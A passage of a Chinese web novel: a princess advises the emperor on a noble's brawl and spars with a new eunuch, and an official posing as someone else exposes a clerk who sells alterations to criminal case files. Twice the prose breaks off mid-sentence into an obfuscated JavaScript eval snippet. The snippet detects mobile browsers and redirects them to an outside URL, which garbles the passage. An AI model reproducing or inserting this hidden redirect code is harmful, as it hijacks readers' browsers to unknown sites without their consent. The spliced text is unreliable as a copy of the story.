她总是会在打理头发的时候加入一些穴位的按摩手法,于安神消乏一道很有效果。 姜立很享受她的服务,每次夙夜处理奏折的疲惫都能得到很好的缓解,便阖眸问她:“近日都读了哪些书,说与父皇听听。” “儿臣闲来无事,翻了一些民间趣闻来看,里面有一则小故事,说的是张家的姑娘打了郭家的孩子,两家都是当地的大家族,私底下就各自瞧不惯对方,因为这件事郭家直接闹到了衙门,说什么也要张家给个交代。”姜致绘声绘色地说着。 高坐丹陛之上多年,姜立何其通透,一听就知道她不是在说故事,而是在借故事说庄怀砚闯进国子监殴打官家子弟的事。 京城是没有秘密的,哪怕消息封锁得再及时,宫里也知道风声。 姜立装作不知,接着她的话往下问:“既然都是大族,那就是两边都不能得罪,父皇很好奇后面衙门的县令是怎么处理的?” “县令很有意思,既没有批评张家,也没有安抚郭家。”姜致笑笑,继续道,“县令家有个女儿,正好缺一个玩伴,就借此机会把张家的姑娘安排和自己女儿一起,放到自己眼皮子底下,对外说只要张家的姑娘再做出什么出格的事,他便将其绳之以法,绝不轻饶。” 听到这里,姜立的眼睛缓缓睁开:“丹雪的意思是……” 姜致心领神会,这才算是绕到正题上:“听说庄王府上的含章郡主昨日打了国子监的学生,父皇今日上朝怕是少不了要头疼了,庄王和国子监的那些大臣们都是我朝肱股之臣,手心手背都是肉,为一方处落另一方,到头来损失的都是父皇,倒不如效仿县令,把含章郡主请到宫中来,给儿臣做一个伴读,这样既给了国子监的臣子们一个交代,又给了庄王府一个提醒。” “还是丹雪聪明。”姜致拍了拍她的手,哈哈一笑。 不仅解决了事情关键还两方都不得罪,一举两得。 姜致腼腆一笑:“都是父皇教导得好。” 姜立把她拉到身前,语重心长:“丹雪如此聪慧,不管有一天父皇做出了什么决定,想必都能明白父皇的良苦用心。” 姜致点点头,很是乖觉:“儿臣明白的。” 父女二人简单地说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068889|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些知心话,姜立便让人拿了一些赏赐送姜致回宫。 来的时候只有姜致和贴身婢子寥寥几人,回去的时候宫女太监或捧或抬,浩浩汤汤跟在后面。 每次安平公主来请安,总能带上许多奇珍异宝回去。 这是宫里最常见的景象。 想起方才父皇最后的那句话,姜致在心里不住冷笑。 南疆送来的和亲折子还在桌案上摆着,他现在说这些真是虚伪得冠冕堂皇。 什么良苦用心,不过是利欲熏心罢了。 若没有可用的地方哪来的父慈子孝,都是逢场作戏的遮羞布而已。 她当然明白,她怎么不明白,没人比她更明白权势的重要性。 公主又如何?说是享天下之养,其实都是表面风光而已,但凡涉及到国邦之事,她就是随时能被送出去的物件。 只有把权力握在手里,才能做自己的主。 想到这里,姜致突然停下脚步,目光落在被宫闱割据成四四方方的天上。 庄怀砚,但愿此次南疆一行不负你我筹谋至此。 见她突然停下来,领队的小太监上前询问:“公主殿下可是落了什么东西?” 姜致瞥了一眼低眉垂目的小太监,觉得有些眼生:“新来的?叫什么名字?” “回殿下,奴才祁未极,早些年一直在后·庭当差,近日得了孟总管提拔才被调到陛下跟前伺候。”小太监恭敬答道,三言两语就把自己的底细交代清楚了。 “齐?”乍然听到这个姓氏,姜致来了兴致,“抬起头来。” 不怪她一下子想到这个字,实是先帝单名一个齐字。 皇爷爷子嗣单薄,在位时就只有先帝和她父皇两位皇子,到了先帝这一脉就更是子嗣凋零,临终时先皇后才查出怀有身孕,于是先皇便留下一道旨意,无论皇后腹中胎儿是女是男,皆立其为太子,继承皇位后由皇后辅政。 只可惜先皇后生产之时遭逢天火,大火烧了三天三夜,将先皇后和刚出生的小太子一同烧了个干净。 国不可一日无君,父死子继,子没了,那就只能兄终弟及,于是先皇唯一的弟弟,她的父皇便被推举成了新皇。 对于这件事,姜致一直觉得有些戏剧性。 就连民间也有传言,说是先皇后和太子殿下是被人害死的,更有传言说是先太子在尚在人世。 姜致想,要是那位太子殿下还活着,算起来也是和她差不多的年纪。 至于那位先后,更是个人物,准确来说,先后和她的胞妹这对双生姐妹花,都是个人物。 昔年的逍遥六女谁人不赞一句绝世风华,柳家这对双生姐妹花就占了两个。 先后柳问让先皇和她父皇兄弟阋墙,而她的胞妹柳闻让谢氏一门至今父子离心。 外界总说柳家这对双生姐妹花是不世出的红颜祸水,以至于到最后二人下场都不好,一个薨于天火,一个逝于雷霆。 但姜致并不那样认为。 红颜祸水不过是相对于男人来说的,男人们无用,所以常常会把莫须有的罪名推到女子身上来,借此蒙蔽世人混淆视听,这样一来,他们就可以毫无心理负担地做个被祸害的无辜之人,后世就算说起,也只会指着女子的脊梁骨唾骂,看,都是她们的错。 谎话说多了就把自己给骗了,但还是架不住假的就是假的,永远不可能是真的。 她父皇不是什么好人,能和她父皇反目的先皇又能是什么好人,谢氏两父子就更不用说了,一个德性。 姜致极其厌恶男子置身事外,女子背负骂名的事,想起这些,眉宇间也带上了几分难以察觉的戾气。 祁未极恍若未觉,缓缓抬起头,并不避讳姜致探究的目光:“回殿下,是祁寒不可怨,天道自平分的祁。” 姜致细细打量着他。 白面明眸,生得倒是秀气,深沉的太监服饰在他身上竟然能穿出几分雅致好看的意味,抬头时可以看到他耳侧有一处花一样的胎记,也就只有拇指那般大小,顶头大,尾部尖细,淡淡的粉,浅浅的红,拥蹙着成了一株虞美人的形态。 虞美人的观赏性很高,但其本身危险且带毒,是一种极具迷惑性的花,可眼前之人一脸无害,像是一泓无波的池水,看不出任何心思。 “黄庭坚的诗,书读得不少。”姜致又问,“年岁几何?” 祁未极再次开口:“今年十八。” 姜致点点头:“既然读过书,怎么到宫里做太监?走科举考功名不更好?” 她只是顺口问了一句,不承想祁未极会忽然上前一步,压低声音,略过她这个问题,委婉地问。 “若今朝考上状元的人是我,公主可会欢喜?” 身后还有一大群宫女太监在场,他就这样堂而皇之地问出来,虽然声音只有她能听见,但姜致还是觉得突然和莫名其妙,不由得蹙了蹙眉,再次打量起面前这个僭越的小太监。 父皇先前给她和金科状元陆明阜赐婚,但陆明阜抗旨拒娶,转头娶了青梅,听宫里人说那青梅还是一个大字不识的乡野村姑。 她倒是无所谓,反正陆明阜不退婚她也是要退的,一桩婚事就想拴住她,做梦,陆明阜提前动作倒是省了她许多麻烦。 不过她是这样想,旁人就未必是这样想的了。 在世人眼里,陆明阜此举明摆着告诉天下人她安平公主不如一个乡下女子,让她沦为笑柄。 宫人们虽然明面上没说什么闲话,但私底下都议论来着。 想到这里,姜致忽然笑了,凑近祁未极,在他耳畔低声问:“你问这句话究竟是想娶我?还是为了你那昭然若揭的欲·望?” 祁未极还想要再说些什么,姜致已经先一步打断了他。 “如果你想说是为了我,那就不用开口了。”姜致一边说,一边踱步绕着他走了一圈,“不管状元郎是他陆明阜还是你祁未极,又或者是其他别的什么王孙公子,我都不稀罕。” “你是不是以为给我换一个人选择我就会对这个人感激涕零千恩万谢?你觉得我的一生需要依附一个男人而活,所以给我换个人选其实就是让我换条路走,一个男人不行就换另一个男人是吗?” “可笑至极,把自己的命运全部押在一个男人身上,这是蠢货才会做的事,你觉得我是吗?” 在场的人听不到她们说了些什么,只看到姜致脸上笑意更深。 “不妨告诉你,我的路上只有两种男人,一种是自己作死的,另一种是被我弄死的。” 说着,姜致弹了弹指甲上的丹蔻,在祁未极面上虚画了一圈:“你觉得你是哪种?” 祁未极面色不改,后退一步垂目施礼,又变成了先前那个规矩的小太监:“公主说笑了。” 本就是他挑起的头,现在他主动回避了这个话题,也算是结束了这次不合时宜的谈话。 “是你先说笑的。”姜致敛了脸上笑意,仿佛方才二人的对话从未出现过,冷哼一声顾自拂袖转身离去。 宫女太监连忙捧着赏赐跟上,独留祁未极一人在原地,眉眼低垂看不清神色。 7.轻则多变少,重则有变无 离开王府之后,郑清容便辗转来到了刑部司衙署。 衙署外观严肃庄重,很有刑部威严肃穆的特点。 但是一到门口郑清容就觉得不对劲了。 这一路她路过好几个京中的办公部门,这个时候别的衙署都已经开始忙活起来了。 唯独刑部司这边,安静如鸡,仔细一看,偏衙的大门上还落着锁,竟是连门都不曾打开过。 郑清容没忍住笑出声来。 她这一路上又是帮老汉推板车,又是在王府逗留,后面还特意绕路熟悉京中地形,这么一番折腾下来都已经快辰时了,谁能想到刑部司居然还没开始办公。 还真是如同陆明阜纸张上所写的那样:刑部司令史及以下官员惫懒至极,卯时至亦不上公点卯。 不知道是只有偏衙这边这样,还是整个刑部司都这样,郑清容又绕到正衙走了一遭。 正衙倒是开门了,间或几个官员进进出出,忙不忙不知道,但能看得出都在各自做事。 郑清容觉得事情变得好玩了起来。 偏衙是令史及以下流外官做事的地方,正衙则是主事及主事以上有品阶级的官员处理公务的地,为了区别官员职级,所以规定了各自官员出入的门庭,令史及以下官员不可走正衙的门进入刑部司,得走偏衙的门,规矩不可逾越,不过两者虽然有正偏之分,但职务上下承接,里应外合,中间有连廊通来往,并不分割。 按理说这样的布置,底下人做不做事,上级想不知道也难。 但现在正衙和偏衙完全割裂,要么是上面的人装作不知道,要么就是正衙里有人兜底。 只能说里面水不是一般的深。 怕引起不必要的麻烦,她的视线并未停留太久。 郑清容假装路过,晃悠着再次来到偏衙,门依旧锁着,没有任何人来上公的迹象。 正想着是再等一会儿还是跳墙进去,一个看上去三十好几的青年男人就已经先一步按照她的想法行动起来。 只见男人满头大汗,怀里还抱着一大堆卷轴式样的东西,先是从草丛里搬了一张梯子靠墙,然后扎好衣摆,一手抱着卷轴,一手扶着梯子便上去了。 动作麻利,看得出很熟练,应该是经常这么干。 这是贼人?可光天化日之下这般举动难道不觉得有些掩耳盗铃? 再说了,贼人就算翻墙也是往外窃取东西,哪还有人抱着东西往里面运的? 郑清容仔细瞧着,看青年男人的穿着应该是刑部的官员才是,怎么不从偏衙的门进,而是需要翻墙。 其间来往的人见了也不觉得奇怪,反而指着青年男子调侃:“哟,这位严掌固又来上公了?” 这一句把郑清容震得够呛。 掌固?翻墙上公?这都什么跟什么? 京城还真是和别的地方不一样,就连上公都这般奇特。 旁边有人接话:“还能怎么办呢,刑部司的那些大人们不给他钥匙,他就只能翻墙,这都是算好的了,之前这位严掌固都是钻狗洞,后来在狗洞被人恶意用狗屎糊了一身,他就只能翻墙进去了。” 几人说说笑笑远去,似乎对于堂堂官员翻墙上公一事习以为常,并不觉得有什么意外。 郑清容却听得心寒。 难怪陆明阜在纸上写刑部司这些人惯会欺压老实人,今日她算是见识到了。 那边严牧正要踩上最后一级梯子翻上墙头,脚下的步梯却突然断开,没了承力点,整个人的身体不受控地向后仰倒。 这要是摔下去,少不得在床上躺十天半把月。 严牧心里哀呼一声,没有选择抱紧自己减少伤害,而是抱紧了怀里的卷轴。 对他来说,怀中的卷轴比他自己还要重要。 就在他以为自己将会迎来一次痛摔的时候,下一刻脚腕一紧,他并没有摔在地上,而是被什么给托了一把。 探身向下一看,是一个脸生的少年人在墙底下单手托举着他。 少年看起来还未弱冠,露出来的一截手腕粗看纤细,细看之下才知道那不是纤细,而是劲瘦,肌肉线条绷紧又不失力度,难怪能稳稳托住他整个人,一点儿不抖。 严牧还处于震惊之中,郑清容已经仰头开口:“严大人,是要进去还是下来?” 对于一个陌生人张口就知道自己是谁,严牧并不意外。 毕竟他钻狗洞爬墙上公不是一天两天的事了,之前还有人专门来看热闹,后面次数多了大家就不觉得新鲜了。 “手里尚有公务需要处理,还得劳烦这位公子托我一把,送我进去。”严牧紧了紧手里的卷轴,有些不好意思道。 梯子没了,墙头又高,他没办法徒手翻进去,就只能趁现在还挨着墙头,一举翻过去。 他其实一早就来了,苦于手上公务繁忙,街头巷尾到处跑,忙活了一早上,见刑部司大门还没开,他手上又没有钥匙,便只能走老路子。 郑清容没想到都这样了这位严掌固还想着上公,便也笑着应他:“行。” 手臂稍稍用力,便将严牧轻而易举托了上去。 严牧虽然不是习武之人,但身子倒是灵活,就这么半举半爬着,还真攀上了墙头,上去时还不忘回头冲郑清容道谢:“此番多谢公子相助。” “小事,严大人客气。”郑清容看了眼不低的墙头,梯子已经断了,想着他待会儿要如何下去,便问了一句,“严大人能行吗?” 严牧憨厚一笑:“上来是费力了些,但下去不成问题,我抱着头往下一滚就行。” 他没有说其实先前这里有假山,只需要踩着石头慢慢下去就好,无奈后面刑部司的人为了捉弄他就把假山给弄走了,此后他就只能靠着身体做护盾滚下去。 说完这句话后,严牧当真抱着头往下坠去。 郑清容起先还怕出什么问题,直到隔墙听得里面传来断断续续拍打衣衫的声音,这才松了口气。 视线转向地上已经断成两半截的步梯,断口很齐整,一看就是人为破坏的。 郑清容把步梯拾捡好,这可都是今后的重要证据,自然不能随意丢弃。 处理好一切,郑清容便在一旁等着,她倒要看看刑部司偏衙的大门何时才开启。 约莫过了一刻钟,总算是有人拿着钥匙姗姗来迟开门。 对方和严牧差不多的年纪,人显得精明一些,只是看人的眼神让人极不舒服。 郑清容鼻尖微微动了动,这人身上有馄饨的味道,还是她早上出门时,在风中闻到的那股子馄饨香。 看来这人刚刚吃完馄饨,从城东慢吞吞溜达过来的,嘴角甚至还残留有未擦干净的油汤。 郑清容简直想笑。 文武百官都是朝见之后才能由光禄寺赐食,刑部司偏衙的人倒好,磨磨蹭蹭吃了早饭,等到日上三竿再上公。 没等郑清容动作,对方已经注意到了她。 先是上下打量了一眼她的穿着,像是在确定什么,随后问她。 “来这么早?” 郑清容在心里咦了一声。 她这可是第一次来刑部司,怎么这人好像认识她? 按道理她明日才来报到,今日提前来看看也是临时起意,怎么刑部司的人好像知道她要来一样? 不过要说是刑部司的人知道也不太对,否则先前爬墙的严掌固怎么没认出她来? 没等她想明白其中的弯弯绕绕,那男人便拿钥匙开了偏衙的门,示意她进去:“既然来了,那便进来吧。” 郑清容没想到自己能进来得这么顺利,要知道来之前她都没想过要走门进来。 不过既然有人邀请,她也不会拒绝。 “罗令史家中有事耽搁了,你先随我到内堂稍作片刻,需要什么到时候罗令史自会与你说明。”男人对她道。 对于“有事耽搁”这几个字,郑清容并不怎么相信。 一个辰时过才开大门的衙署,其下的令史是真有事还是假有事确实值得打个问号。 此时已经陆陆续续有官员来刑部司偏衙上公了,见到男人都拱手称一句“赵亭长”,男人或应或颔首,时不时作揖回礼,其中不乏有书令史向他致意。 郑清容眉头微挑。 刑部司下的流外官从高到低分为令史、书令史、亭长和掌固四等,能让书令史向他一个亭长致意,看来这位赵亭长也是个厉害的角色。 郑清容跟随男人进去,一路走一路看。 按理说突然出现她这么一个陌生人,刑部司里的人合该过问一句。 但在偏衙走了这么一路,郑清容都没有发现有人对她的出现表现出一点儿疑惑不解,要么并不在意,要么装作看不见,更多的则是习以为常。 其他人是没有表示出任何的不对,唯独有一个人匆匆拦住了她们二人的脚步。 “赵勤,说了多少次了,刑部司衙署是办公之地,不允许外人进入,你又带人进来,真是屡教不改。” 那人灰头土脸,衣服上沾染了不少尘土,头发也不算得齐整,走路时右腿还有点儿跛。 要不是声音耳熟,身形尚在,郑清容都要认不出这就是先前爬墙上公的那位严掌固。 两人视线对上的时候,各自都有一怔。 郑清容怔愣是因为没想到会见到这样的严掌固,先前在墙头的时候还好好的,怎么一转眼就变成了这个狼模样?难不成是因为落地的时候没掌握好角度和力度? 严牧怔愣则是因为没想到赵勤带来的人竟然是郑清容,这人先前不还在外面帮他吗,怎么现在跟在赵勤后面?是他错看了,其实对方和赵勤不过是蛇鼠一窝罢了。 郑清容还想着跟严牧打个招呼,但没等她有所动作,严牧就把脸偏去了一旁,明显不想跟她有多余的攀谈。 这是闹哪出? 先前不还好好的吗?怎么现在就是一副我不认识你的样子。 郑清容看了看严牧,又看了看面前的赵亭长,若有所思。 “不让带我也带多次了,这话你跟我说有什么用,有本事你去找罗令史说去,看罗令史搭不搭理你。”被称作赵勤男人并不把他的愤怒放在眼里,反而出言嘲讽,“严牧,知道你为什么在刑部司干了五年还是个小小掌固,而我来了不到五个月就能升为亭长吗,这就是区别。” 说完狠狠撞开挡在面前的严牧,回身对郑清容做了一个请的手势:“周公子,这边请。” 郑清容这下算是知道自己为什么能够这么容易就进来了。 原来不是因为赵勤知道她这位新上任的令史今天要来,而是把她错认成了其他人。 也难怪严牧嘴里说什么外人,对她又是这副恨铁不成钢的复杂表情。 敢情源头在这里。 严牧被赵勤撞得重重摔在地上,手掌磕破,擦出血痕,怀里的文簿也掉了一地。 他挣扎着站起身来,没有先去看手上的伤口,而是第一时间去拾捡地上的文簿,手指都触碰到文簿了,又猝地收回来,连忙把血在衣服上擦干净才去捡。 旁边的人都当没看见,各自做自己的事,并不想多看多管。 因为脚跛,手也受了伤,严牧的动作显得很是笨拙。 等到捡起第三卷文簿的时候,视线里忽然多了一双捧着一摞文簿的手。 顺着手的主人看去,便见郑清容示意他接着。 她的眼里没有平日里同僚们的鄙夷和冷漠,更没有嘲弄和讥讽,有的只是顺手相帮的热心。 目光再次落到郑清容的手上,这手之前在墙外托过他,现在又帮他捡文簿。 他本该感激的,只是对方偏偏跟赵勤这种人同流合污。 想到这里,严牧的心又冷了下来,一把夺过郑清容手里的文簿,这次就连道谢也没有,直接拂袖而去。 将一切尽收眼底的赵勤似笑非笑:“周公子理他作甚,平白惹了一身晦气。” “走过路过,顺手帮过,就算不能雪中送炭,也不能火上浇油不是。”郑清容也不解释自己不是他口中的周公子,迈步上前跟着赵勤上去。 就凭方才二人针锋相对的火药味,这里面绝对有什么事是她不知道的。 她要是现在自爆身份,那岂不是看不到背后的猫腻了。 左右现在也没人发现她不是周公子,那就姑且借着周公子这个身份看看刑部司这群人究竟在玩什么花样。 赵勤对她这话表示并不怎么赞同。 心想他人都到这里了,还说什么与人为善之类的话,也不怕笑掉大牙。 不过口头上的这些大义凛然的车轱辘话,赵勤从来不当回事。 好听的话谁不会说,落到实际的才算是真的。 一路引着郑清容来到偏厅,赵勤给她倒了一杯茶水后便出去了。 郑清容打量着内厅的陈设,案卷文簿堆叠,笔墨纸砚俱全,显然是平日里办公的地方。 这么重要的地方,居然放心让一个不是刑部司的人随便进来,而且还没有人看顾。 这要是一把火烧了这些卷宗,又或者在里面动些什么手脚,只怕刑部司这些人都不能及时发觉。 郑清容也不去翻动那些文案簿子,瞟了一眼案几上摊开的一卷文簿,笔墨已干,不是刚写下的,应该是昨日下衙时忘记收拾的,末端有名字记载——罗世荣。 令史、书令史主要负责掌案文簿,不过由于案簿繁多杂乱,万里追证百年旧案是常有的事,为了保证文簿的有序和规范,通常会在最后记名,谁处理的案簿就在后面落个名字,就算后期出了问题也好追究责任。 想必这位罗世荣就是赵勤口中的那位罗令史了吧。 郑清容想起昨夜陆明阜给她的那几张纸上写的内容。 这位罗令史虽然只是个流外官,但刑部司上下总共十九个令史,除去已经请辞离开的胡令史,其余十七位都以他为首,更别说下面的书令史、亭长和掌固之类官员,只因这位罗令史上面有个大舅哥,是吏部吏部司郎中,官从正五品,掌九品之外的流外官选拔序迁,也就是流外铨。 流外官想要入流,少不得要经他这位大舅哥的手。 基于此,谁也不敢得罪这位罗令史。 有背景的人,确实不好惹。 郑清容这么想着,听得外面有人喊了一句罗令史,言语问候几句,间或传来周公子的字眼,随后便听得一阵脚步声响。 紧接着,一个穿着令史服制的男人就走了进来,看起来还挺年轻,约莫二十出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084129|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的样子,许是眉宇间稚气未脱,那身官服套在身上显得有些格格不入,以至于不像是当官的,倒像是小孩子偷穿了大人的衣服。 算了算时间,从她到刑部司已经过去了小半个时辰。 她以为刑部司开门开得晚就算了,原来令史来得更晚。 “罗令史。”郑清容起身向他行礼,开口第一句并不是在打招呼,而是在确认是不是本人。 罗世荣看了她一眼,也不回应她的礼节,顾自坐去了案几前,直切正题:“周公子说的事本官已经知晓,要想在文簿上少写几笔也不是不可以,但周公子可以给多少?” 果然。 郑清容笑了笑。 她方才就在想,刑部司这些人把她引到这里是为了什么。 一个非刑部司内部人员的人能在全体刑部司偏衙官员的眼皮子底下招摇而进,除了严掌固以外几乎没有人表示有异议,这种表现,没点儿腌臜事她是不信的。 昨晚的纸张上,陆明阜也写过刑部司腐败之类的话,不过因为手上没什么具体证据,所以写得比较委婉。 她默认这种腐败不会摆到明面上,要不然也不会至今都没人把事捅出来,结果一来就被她撞上了。 也不知该说她运气好,还是刑部司偏衙的这些人太张扬。 “罗令史想要多少?”郑清容没有直接回答,而是把皮球踢了回去。 罗世荣一听她这语气就知道今天这场谈话交易能够从中拿到不少好处,于是故意拿乔:“周公子也知道,这种事不好办,保不齐是要掉脑袋的。” “理解。”郑清容点头,嘴上说着理解,但是神情并没有表现出丝毫理解的意思。 知道会掉脑袋还要做,这位罗令史是真不怕死。 不过有一个正五品的大舅哥在朝中,有靠山有背景,也确实不怕死。 见她这个模样,罗世荣也不再讨价还价:“这样吧,我也不多拿你的,按照之前的例子,我收你一个中间价。” 说着,竖起了三根手指。 “三万两,包给你把事给平了。” 之前? 郑清容咂摸着这个词。 看来罗世荣没少干这些贪赃枉法的事。 一开口就是三万两,一个令史就能如此狮子大开口,这要是入了流有了阶品,那还得了。 “钱不是问题,但我想知道罗令史打的包票值不值这个价。”郑清容旁敲侧击,想要从他嘴里套出来更多的信息。 有这么一个大好机会摆在眼前,她不趁机多问一些,还怎么跳过吏部司铨选,奔上主事的位置。 她没来京城时就对流外铨不抱什么希望了,太慢。 在扬州经营佐史两年才获得一个上京城的机会,她可不想在令史上再蹉跎个几年。 她来刑部司就是要干票大的,最好一战成名,跳过流外铨直接升官入流。 昨晚看完陆明阜写的那些信息,她就有了主意。 碰巧瞌睡来了有人送枕头,她自然要打蛇随棍上。 然而罗世荣似乎并不怕柄落到她手上,直言道:“这么给你说吧,经过我手的案簿,从来没有出过问题,以前没有,以后更不会有。” “不知罗令史口中的少写几笔是如何少写几笔?”郑清容循循善诱。 “轻则多变少,重则有变无,全看周公子想要哪一种。”罗世荣端起茶盏,轻啜一口,“当然,多写几笔也是可以的。” 郑清容心领神会。 这算是变相威胁了吧。 刑部掌天下刑法及徒隶、勾覆、关禁之政令,刑部司更是直接主管律令的颁布实施和案件复审。[1] 文簿卷轴上所写的内容关系到整个案件的判决,少一笔可能导致涉案人员无罪释放,多一笔也可能让无辜之人遭受牢狱之灾。 这么严重的事,在这位罗令史的口中,就是上下嘴皮子一碰的有变无和无变有。 也难怪没听说有人检举他利用职务之便贪污受贿,这要是检举不成,说不定就会被扣上什么莫须有的罪名。 难以想象,天子脚下也能有这种事发生。 “罗令史的话我自然是相信的,只是……”郑清容指了指门外,“我方才进来时并未有所遮掩,刑部司偏衙的人可全都看见了,而且还有赵亭长为我引路,罗令史如何保证他们不会说出去。” 罗世荣哈哈一笑:“周公子不必担心,他们是不会说出去的,俗话说得好,有钱能使鬼推磨,周公子你有钱,自然也可以让人闭嘴。” 说到这里,罗世荣竖起了两根手指。 原来先前的报价只是开胃菜,郑清容哭笑不得:“这是另外的价钱?” “先前的三万两是改字钱,现在的两万两是封口费,不一样的,周公子你也知道这其中的凶险,大家伙都是把脑袋别在裤腰带上,不是能用钱来衡量的对吧?能用钱解决的事都不是事,事成之后你好我好大家好。” 郑清容心道原来如此。 怪不得整个刑部司的人看见她一个外人进来不过问也不加阻拦,原来是也收钱了。 或许这钱并不会真正落到他们手上,只是罗世荣敛财的借口。 或许这钱或多或少确实落到他们手上了,但以郑清容对这些腌臜事的了解,最后都会被以各种名义孝敬给罗世荣。 不管是哪种情况,都是罗世荣拉他们下水的手段。 有了这层关系在,就算东窗事发,也有人一起担责。 而在事情还没败露之前,底下这些人要想活命,就只能帮他保守秘密。 不怪罗世荣胆大包天如此。 “这两万两是包含刑部司上下所有的人了吧,罗令史不会待会儿说这个两万两,那个一万两,那我岂不是要把自己给赔上?”郑清容接着他的话问。 “不会不会。”罗世荣连忙打包票,“两万两已经是所有人的封口费了,当然,只有一个人除外。” 郑清容几乎一下子就想到了那个人是谁:“严掌固?” “是他,那个老顽固清高得很,给他钱他也不要,不过周公子不必担心,他不敢把事捅出去的,我有的是法子治他。”说起严牧,罗世荣就气不打一处来。 装什么清高,到头来还不是被他踩在脚底下。 听他这么说,这下郑清容算是知道严牧被排挤的前因后果了。 在周围都是污浊的环境里,干净就是原罪。 严牧能在这种情况下还保持着一颗纯粹之心,实在难得。 “有罗令史这句话我就放心了,不过五万两不是小数目,我身上没带这么多钱,稍后遣人给罗令史送来可好?”事情差不多都理清了,郑清容也不便多待,要是待会儿撞上周公子的正主来了,她这边就不好离开了。 她还得去搜罗证据,现在不便打草惊蛇。 “周公子爽快人。”罗世荣似乎并不怕她赖账,甚至亲自送她出去。 郑清容想,罗世荣大概知道这位周公子的家底,所以敢让人直接引她进来,也敢让她不交钱就走。 只可惜这次要在阴沟里翻船了。 此时已近正午,酒楼铺子饭菜飘香,郑清容想了想,拐去了城东,打算去探一探让赵勤姗姗来迟的馄饨铺子。 8.上有才女打架 相比京城中心的繁华地段,城东更多了几分人间烟火气。 布局上有些像扬州的街市,不过看起来更大更宽,往来人员也更多一些。 郑清容且走且逛,一眼就看见了边上的馄饨铺子。 其实铺子位置并不这么好,在最边上,门面并不大,装潢也很简单,周围也不妨有比它门面更好位置更佳的店铺,但这个馄饨铺一眼就能让人注意到。 无他,实在是就属这家的人多。 郑清容几乎隔老远就看见了乌泱泱的人头,此时方到饭点,馄饨铺已经座无虚席,有的甚至端着碗筷站在边上吃。 她之前就猜测这家馄饨铺子生意不错,但也没想到会这么好。 蒸蒸水汽缭绕间,一位女子的身影在锅灶前晃出残影,手起勺落,伴随着一声吆喝,一碗馄饨便端上了桌,动作十分利落漂亮。 有客人扯着嗓子喊话:“梅娘子,我们的四碗馄饨可好了?” 虽然是喊话,但半点儿听不出着急之意,显然只是想搭腔说句话而已。 梅娘子一边下馄饨一边应那人:“好了,这就来!” 铺子里就只有她一人,包、煮、端都是她的活,但女子游走其间如鱼得水,忙而不乱。 郑清容没有去挤,而是在旁边的茶铺叫了一壶茶水,顺势坐了一会儿,目光时不时在馄饨铺子周围打转。 现在过去不仅没位置,老板忙着她也搭不上话,索性等人吃得差不多了她再过去。 伙计一看她那样子就知道她是什么心思,一边添茶一边笑着打趣:“这位客官也是为梅娘子而来的吧?” 心中有事盘算的郑清容一时没反应过来伙计这话是什么意思,哈了一声。 “客官倒也不必遮掩,这事也没什么的,爱美之心人皆有之。”说着,伙计努了努嘴,示意她看向周围喝茶的人,“这些都是为梅娘子而来的。” 郑清容顺着他的视线看去,果然看到了一群老少爷们喝着碗里的茶,目光却是落在馄饨铺子上。 再看锅灶前忙得脚不沾地的女子,虽然做着锅碗吃食的活计,但来往身形翩翩犹如蝶舞,水汽蒸蒸在她面上熏出几分桃花色,确实是个美人。 郑清容心道原来如此。 馄饨西施嘛。 想着郑清容是第一次来,伙计小声提醒:“不过客官看看就得了,梅娘子纵然新寡,但有上面的大人罩着,每天早上都要来她这里吃碗馄饨,算是一种宣示主权,你我这等凡人还是别想了。” 听得伙计这样说,郑清容几乎是一下子把人对上了号。 刑部司那位赵勤赵亭长就是这位伙计口中的大人吧,毕竟今早见到的时候嘴角还挂着馄饨的油汤。 “明白了,多谢小哥提醒。”郑清容向他道谢。 的确需要谢上一谢,她来这里只是想着碰碰运气,看看能不能从馄饨铺子这里获取一些什么消息。 人在吃东西的时候很容易吐露一些事,尤其是在喝上一点儿小酒后,什么能说的不能说的都一兜子倒出来了,所以酒楼饭馆什么的也是消息最为混杂灵通的地方。 看来今天运气不错,开门红,一来就得知了这个消息。 伙计也不再多话,乐呵呵说了一声“有事您叫我”便去给别的桌添茶去了。 不怪伙计高兴,多亏了对面的馄饨铺子,让他们茶铺也沾了不少光,没位置吃馄饨的人几乎都会来茶铺里喝一壶茶等座,倒是让铺子趁机赚了不少。 是以对于梅娘子的事,伙计很是津津乐道。 郑清容端起茶水,且喝且等,在脑中整理了一遍刑部司的情况。 罗世荣、还有他头上的那位大舅哥,以及赵勤和刑部司的那些底层官员,想要一锅端了这些个蛀虫就得拿出最有力的证据。 她得好好盘算盘算。 见馄饨铺子的桌上渐渐有了空位,郑清容便付了茶水钱准备起身过去。 只是脚刚迈出去几步,便听得梅娘子一声吆喝,说是今天的馄饨卖完了,各位明儿请早。 吃上的捧着碗里剩下的汤不肯走,没吃上的只能一步三回头地悻悻离去。 郑清容站在路上走也不是,不走也不是。 只顾着等位,倒是忘了馄饨供应有限。 此时梅娘子已经开始收拾吃过的碗筷,看样子是准备收摊了,她要是现在过去搭话,会不会显得居心不良? 正想着明日再来,那边的梅娘子已经看见了她,擦了擦额角的薄汗,走出来咦了一声:“公子可是今早帮吴老爷子推车的那位?” 郑清容颇感意外,想了一下道:“今早是帮一位大爷推过一辆板车,但不知道是不是姐姐口中的吴老爷子。” 